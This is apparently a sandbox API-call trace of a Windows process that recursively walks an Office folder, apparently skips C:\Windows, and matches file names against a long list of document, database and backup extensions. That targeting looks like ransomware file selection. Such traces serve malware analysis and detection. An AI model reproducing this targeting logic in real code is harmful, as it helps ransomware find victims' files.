	[0253.938] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1
	[0253.945] FindClose (in: hFindFile=0x41b2590 | out: hFindFile=0x41b2590) returned 1
	[0253.946] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x422dcf8 | out: hHeap=0x4a0000) returned 1
	[0253.946] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0253.946] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0253.946] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x421dcf0 | out: hHeap=0x4a0000) returned 1
	[0253.946] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1
	[0253.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0253.948] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.948] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1
	[0253.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0253.949] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.949] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1
	[0253.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net") returned 73
	[0253.949] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net") returned 1
	[0253.949] lstrlenW (lpString="groove.net") returned 10
	[0253.949] lstrcmpiW (lpString1="C:\\Windows", lpString2="groove.net") returned -1
	[0253.949] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x422dcf8
	[0253.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net") returned 73
	[0253.949] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2550
	[0253.950] FindNextFileW (in: hFindFile=0x41b2550, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.950] FindNextFileW (in: hFindFile=0x41b2550, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1
	[0253.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components") returned 84
	[0253.950] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components") returned 1
	[0253.950] lstrlenW (lpString="Components") returned 10
	[0253.950] lstrcmpiW (lpString1="C:\\Windows", lpString2="Components") returned -1
	[0253.950] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4289c80
	[0253.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components") returned 84
	[0253.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2290
	[0253.951] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.952] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="SIGNED~1.CER")) returned 1
	[0253.952] lstrlenW (lpString="SignedComponents.cer") returned 20
	[0253.952] lstrlenW (lpString=".1cd") returned 4
	[0253.952] lstrcmpiW (lpString1=".1cd", lpString2=".cer") returned -1
	[0253.952] lstrlenW (lpString=".3ds") returned 4
	[0253.952] lstrcmpiW (lpString1=".3ds", lpString2=".cer") returned -1
	[0253.952] lstrlenW (lpString=".3fr") returned 4
	[0253.952] lstrcmpiW (lpString1=".3fr", lpString2=".cer") returned -1
	[0253.952] lstrlenW (lpString=".3g2") returned 4
	[0253.952] lstrcmpiW (lpString1=".3g2", lpString2=".cer") returned -1
	[0253.952] lstrlenW (lpString=".3gp") returned 4
	[0253.952] lstrcmpiW (lpString1=".3gp", lpString2=".cer") returned -1
	[0253.952] lstrlenW (lpString=".7z") returned 3
	[0253.952] lstrcmpiW (lpString1=".7z", lpString2="cer") returned -1
	[0253.952] lstrlenW (lpString=".accda") returned 6
	[0253.952] lstrcmpiW (lpString1=".accda", lpString2="ts.cer") returned -1
	[0253.952] lstrlenW (lpString=".accdb") returned 6
	[0253.952] lstrcmpiW (lpString1=".accdb", lpString2="ts.cer") returned -1
	[0253.952] lstrlenW (lpString=".accdc") returned 6
	[0253.952] lstrcmpiW (lpString1=".accdc", lpString2="ts.cer") returned -1
	[0253.952] lstrlenW (lpString=".accde") returned 6
	[0253.952] lstrcmpiW (lpString1=".accde", lpString2="ts.cer") returned -1
	[0253.952] lstrlenW (lpString=".accdt") returned 6
	[0253.952] lstrcmpiW (lpString1=".accdt", lpString2="ts.cer") returned -1
	[0253.952] lstrlenW (lpString=".accdw") returned 6
	[0253.952] lstrcmpiW (lpString1=".accdw", lpString2="ts.cer") returned -1
	[0253.952] lstrlenW (lpString=".adb") returned 4
	[0253.952] lstrcmpiW (lpString1=".adb", lpString2=".cer") returned -1
	[0253.952] lstrlenW (lpString=".adp") returned 4
	[0253.952] lstrcmpiW (lpString1=".adp", lpString2=".cer") returned -1
	[0253.953] lstrlenW (lpString=".ai") returned 3
	[0253.953] lstrcmpiW (lpString1=".ai", lpString2="cer") returned -1
	[0253.953] lstrlenW (lpString=".ai3") returned 4
	[0253.953] lstrcmpiW (lpString1=".ai3", lpString2=".cer") returned -1
	[0253.953] lstrlenW (lpString=".ai4") returned 4
	[0253.953] lstrcmpiW (lpString1=".ai4", lpString2=".cer") returned -1
	[0253.953] lstrlenW (lpString=".ai5") returned 4
	[0253.953] lstrcmpiW (lpString1=".ai5", lpString2=".cer") returned -1
	[0253.953] lstrlenW (lpString=".ai6") returned 4
	[0253.953] lstrcmpiW (lpString1=".ai6", lpString2=".cer") returned -1
	[0253.953] lstrlenW (lpString=".ai7") returned 4
	[0253.953] lstrcmpiW (lpString1=".ai7", lpString2=".cer") returned -1
	[0253.953] lstrlenW (lpString=".ai8") returned 4
	[0253.953] lstrcmpiW (lpString1=".ai8", lpString2=".cer") returned -1
	[0253.953] lstrlenW (lpString=".anim") returned 5
	[0253.953] lstrcmpiW (lpString1=".anim", lpString2="s.cer") returned -1
	[0253.953] lstrlenW (lpString=".arw") returned 4
	[0253.953] lstrcmpiW (lpString1=".arw", lpString2=".cer") returned -1
	[0253.953] lstrlenW (lpString=".as") returned 3
	[0253.953] lstrcmpiW (lpString1=".as", lpString2="cer") returned -1
	[0253.953] lstrlenW (lpString=".asa") returned 4
	[0253.953] lstrcmpiW (lpString1=".asa", lpString2=".cer") returned -1
	[0253.953] lstrlenW (lpString=".asc") returned 4
	[0253.953] lstrcmpiW (lpString1=".asc", lpString2=".cer") returned -1
	[0253.953] lstrlenW (lpString=".ascx") returned 5
	[0253.953] lstrcmpiW (lpString1=".ascx", lpString2="s.cer") returned -1
	[0253.953] lstrlenW (lpString=".asm") returned 4
	[0253.953] lstrcmpiW (lpString1=".asm", lpString2=".cer") returned -1
	[0253.954] lstrlenW (lpString=".asmx") returned 5
	[0253.954] lstrcmpiW (lpString1=".asmx", lpString2="s.cer") returned -1
	[0253.954] lstrlenW (lpString=".asp") returned 4
	[0253.954] lstrcmpiW (lpString1=".asp", lpString2=".cer") returned -1
	[0253.954] lstrlenW (lpString=".aspx") returned 5
	[0253.954] lstrcmpiW (lpString1=".aspx", lpString2="s.cer") returned -1
	[0253.954] lstrlenW (lpString=".asr") returned 4
	[0253.954] lstrcmpiW (lpString1=".asr", lpString2=".cer") returned -1
	[0253.954] lstrlenW (lpString=".asx") returned 4
	[0253.954] lstrcmpiW (lpString1=".asx", lpString2=".cer") returned -1
	[0253.954] lstrlenW (lpString=".avi") returned 4
	[0253.954] lstrcmpiW (lpString1=".avi", lpString2=".cer") returned -1
	[0253.954] lstrlenW (lpString=".avs") returned 4
	[0253.954] lstrcmpiW (lpString1=".avs", lpString2=".cer") returned -1
	[0253.954] lstrlenW (lpString=".backup") returned 7
	[0253.954] lstrcmpiW (lpString1=".backup", lpString2="nts.cer") returned -1
	[0253.954] lstrlenW (lpString=".bak") returned 4
	[0253.954] lstrcmpiW (lpString1=".bak", lpString2=".cer") returned -1
	[0253.954] lstrlenW (lpString=".bay") returned 4
	[0253.954] lstrcmpiW (lpString1=".bay", lpString2=".cer") returned -1
	[0253.954] lstrlenW (lpString=".bd") returned 3
	[0253.954] lstrcmpiW (lpString1=".bd", lpString2="cer") returned -1
	[0253.954] lstrlenW (lpString=".bin") returned 4
	[0253.954] lstrcmpiW (lpString1=".bin", lpString2=".cer") returned -1
	[0253.954] lstrlenW (lpString=".bmp") returned 4
	[0253.954] lstrcmpiW (lpString1=".bmp", lpString2=".cer") returned -1
	[0253.954] lstrlenW (lpString=".bz2") returned 4
	[0253.954] lstrcmpiW (lpString1=".bz2", lpString2=".cer") returned -1
	[0253.954] lstrlenW (lpString=".c") returned 2
	[0253.955] lstrcmpiW (lpString1=".c", lpString2="er") returned -1
	[0253.955] lstrlenW (lpString=".cdr") returned 4
	[0253.955] lstrcmpiW (lpString1=".cdr", lpString2=".cer") returned -1
	[0253.955] lstrlenW (lpString=".cer") returned 4
	[0253.955] lstrcmpiW (lpString1=".cer", lpString2=".cer") returned 0
	[0253.955] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="SIGNED~1.CER")) returned 0
	[0253.955] FindClose (in: hFindFile=0x41b2290 | out: hFindFile=0x41b2290) returned 1
	[0253.955] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4289c80 | out: hHeap=0x4a0000) returned 1
	[0253.955] FindNextFileW (in: hFindFile=0x41b2550, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1
	[0253.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects") returned 88
	[0253.955] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects") returned 1
	[0253.955] lstrlenW (lpString="ManagedObjects") returned 14
	[0253.955] lstrcmpiW (lpString1="C:\\Windows", lpString2="ManagedObjects") returned -1
	[0253.955] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4289c80
	[0253.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects") returned 88
	[0253.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2290
	[0253.956] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.956] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="SIGNED~1.CER")) returned 1
	[0253.956] lstrlenW (lpString="SignedManagedObjects.cer") returned 24
	[0253.956] lstrlenW (lpString=".1cd") returned 4
	[0253.956] lstrcmpiW (lpString1=".1cd", lpString2=".cer") returned -1
	[0253.956] lstrlenW (lpString=".3ds") returned 4
	[0253.956] lstrcmpiW (lpString1=".3ds", lpString2=".cer") returned -1
	[0253.957] lstrlenW (lpString=".3fr") returned 4
	[0253.957] lstrcmpiW (lpString1=".3fr", lpString2=".cer") returned -1
	[0253.957] lstrlenW (lpString=".3g2") returned 4
	[0253.957] lstrcmpiW (lpString1=".3g2", lpString2=".cer") returned -1
	[0253.957] lstrlenW (lpString=".3gp") returned 4
	[0253.957] lstrcmpiW (lpString1=".3gp", lpString2=".cer") returned -1
	[0253.957] lstrlenW (lpString=".7z") returned 3
	[0253.957] lstrcmpiW (lpString1=".7z", lpString2="cer") returned -1
	[0253.957] lstrlenW (lpString=".accda") returned 6
	[0253.957] lstrcmpiW (lpString1=".accda", lpString2="ts.cer") returned -1
	[0253.957] lstrlenW (lpString=".accdb") returned 6
	[0253.957] lstrcmpiW (lpString1=".accdb", lpString2="ts.cer") returned -1
	[0253.957] lstrlenW (lpString=".accdc") returned 6
	[0253.957] lstrcmpiW (lpString1=".accdc", lpString2="ts.cer") returned -1
	[0253.957] lstrlenW (lpString=".accde") returned 6
	[0253.957] lstrcmpiW (lpString1=".accde", lpString2="ts.cer") returned -1
	[0253.957] lstrlenW (lpString=".accdt") returned 6
	[0253.957] lstrcmpiW (lpString1=".accdt", lpString2="ts.cer") returned -1
	[0253.957] lstrlenW (lpString=".accdw") returned 6
	[0253.957] lstrcmpiW (lpString1=".accdw", lpString2="ts.cer") returned -1
	[0253.957] lstrlenW (lpString=".adb") returned 4
	[0253.957] lstrcmpiW (lpString1=".adb", lpString2=".cer") returned -1
	[0253.957] lstrlenW (lpString=".adp") returned 4
	[0253.957] lstrcmpiW (lpString1=".adp", lpString2=".cer") returned -1
	[0253.957] lstrlenW (lpString=".ai") returned 3
	[0253.957] lstrcmpiW (lpString1=".ai", lpString2="cer") returned -1
	[0253.957] lstrlenW (lpString=".ai3") returned 4
	[0253.957] lstrcmpiW (lpString1=".ai3", lpString2=".cer") returned -1
	[0253.957] lstrlenW (lpString=".ai4") returned 4
	[0253.957] lstrcmpiW (lpString1=".ai4", lpString2=".cer") returned -1
	[0253.957] lstrlenW (lpString=".ai5") returned 4
	[0253.957] lstrcmpiW (lpString1=".ai5", lpString2=".cer") returned -1
	[0253.958] lstrlenW (lpString=".ai6") returned 4
	[0253.958] lstrcmpiW (lpString1=".ai6", lpString2=".cer") returned -1
	[0253.958] lstrlenW (lpString=".ai7") returned 4
	[0253.958] lstrcmpiW (lpString1=".ai7", lpString2=".cer") returned -1
	[0253.958] lstrlenW (lpString=".ai8") returned 4
	[0253.958] lstrcmpiW (lpString1=".ai8", lpString2=".cer") returned -1
	[0253.958] lstrlenW (lpString=".anim") returned 5
	[0253.958] lstrcmpiW (lpString1=".anim", lpString2="s.cer") returned -1
	[0253.958] lstrlenW (lpString=".arw") returned 4
	[0253.958] lstrcmpiW (lpString1=".arw", lpString2=".cer") returned -1
	[0253.958] lstrlenW (lpString=".as") returned 3
	[0253.958] lstrcmpiW (lpString1=".as", lpString2="cer") returned -1
	[0253.958] lstrlenW (lpString=".asa") returned 4
	[0253.958] lstrcmpiW (lpString1=".asa", lpString2=".cer") returned -1
	[0253.958] lstrlenW (lpString=".asc") returned 4
	[0253.958] lstrcmpiW (lpString1=".asc", lpString2=".cer") returned -1
	[0253.958] lstrlenW (lpString=".ascx") returned 5
	[0253.958] lstrcmpiW (lpString1=".ascx", lpString2="s.cer") returned -1
	[0253.958] lstrlenW (lpString=".asm") returned 4
	[0253.958] lstrcmpiW (lpString1=".asm", lpString2=".cer") returned -1
	[0253.958] lstrlenW (lpString=".asmx") returned 5
	[0253.958] lstrcmpiW (lpString1=".asmx", lpString2="s.cer") returned -1
	[0253.958] lstrlenW (lpString=".asp") returned 4
	[0253.958] lstrcmpiW (lpString1=".asp", lpString2=".cer") returned -1
	[0253.958] lstrlenW (lpString=".aspx") returned 5
	[0253.958] lstrcmpiW (lpString1=".aspx", lpString2="s.cer") returned -1
	[0253.958] lstrlenW (lpString=".asr") returned 4
	[0253.958] lstrcmpiW (lpString1=".asr", lpString2=".cer") returned -1
	[0253.958] lstrlenW (lpString=".asx") returned 4
	[0253.958] lstrcmpiW (lpString1=".asx", lpString2=".cer") returned -1
	[0253.958] lstrlenW (lpString=".avi") returned 4
	[0253.958] lstrcmpiW (lpString1=".avi", lpString2=".cer") returned -1
	[0253.959] lstrlenW (lpString=".avs") returned 4
	[0253.959] lstrcmpiW (lpString1=".avs", lpString2=".cer") returned -1
	[0253.959] lstrlenW (lpString=".backup") returned 7
	[0253.959] lstrcmpiW (lpString1=".backup", lpString2="cts.cer") returned -1
	[0253.959] lstrlenW (lpString=".bak") returned 4
	[0253.959] lstrcmpiW (lpString1=".bak", lpString2=".cer") returned -1
	[0253.959] lstrlenW (lpString=".bay") returned 4
	[0253.959] lstrcmpiW (lpString1=".bay", lpString2=".cer") returned -1
	[0253.959] lstrlenW (lpString=".bd") returned 3
	[0253.959] lstrcmpiW (lpString1=".bd", lpString2="cer") returned -1
	[0253.959] lstrlenW (lpString=".bin") returned 4
	[0253.959] lstrcmpiW (lpString1=".bin", lpString2=".cer") returned -1
	[0253.959] lstrlenW (lpString=".bmp") returned 4
	[0253.959] lstrcmpiW (lpString1=".bmp", lpString2=".cer") returned -1
	[0253.959] lstrlenW (lpString=".bz2") returned 4
	[0253.959] lstrcmpiW (lpString1=".bz2", lpString2=".cer") returned -1
	[0253.959] lstrlenW (lpString=".c") returned 2
	[0253.959] lstrcmpiW (lpString1=".c", lpString2="er") returned -1
	[0253.959] lstrlenW (lpString=".cdr") returned 4
	[0253.959] lstrcmpiW (lpString1=".cdr", lpString2=".cer") returned -1
	[0253.959] lstrlenW (lpString=".cer") returned 4
	[0253.959] lstrcmpiW (lpString1=".cer", lpString2=".cer") returned 0
	[0253.959] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="SIGNED~1.CER")) returned 0
	[0253.959] FindClose (in: hFindFile=0x41b2290 | out: hFindFile=0x41b2290) returned 1
	[0253.959] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4289c80 | out: hHeap=0x4a0000) returned 1
	[0253.959] FindNextFileW (in: hFindFile=0x41b2550, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1
	[0253.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers") returned 81
	[0253.959] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers") returned 1
	[0253.959] lstrlenW (lpString="Servers") returned 7
	[0253.959] lstrcmpiW (lpString1="C:\\Windows", lpString2="Servers") returned -1
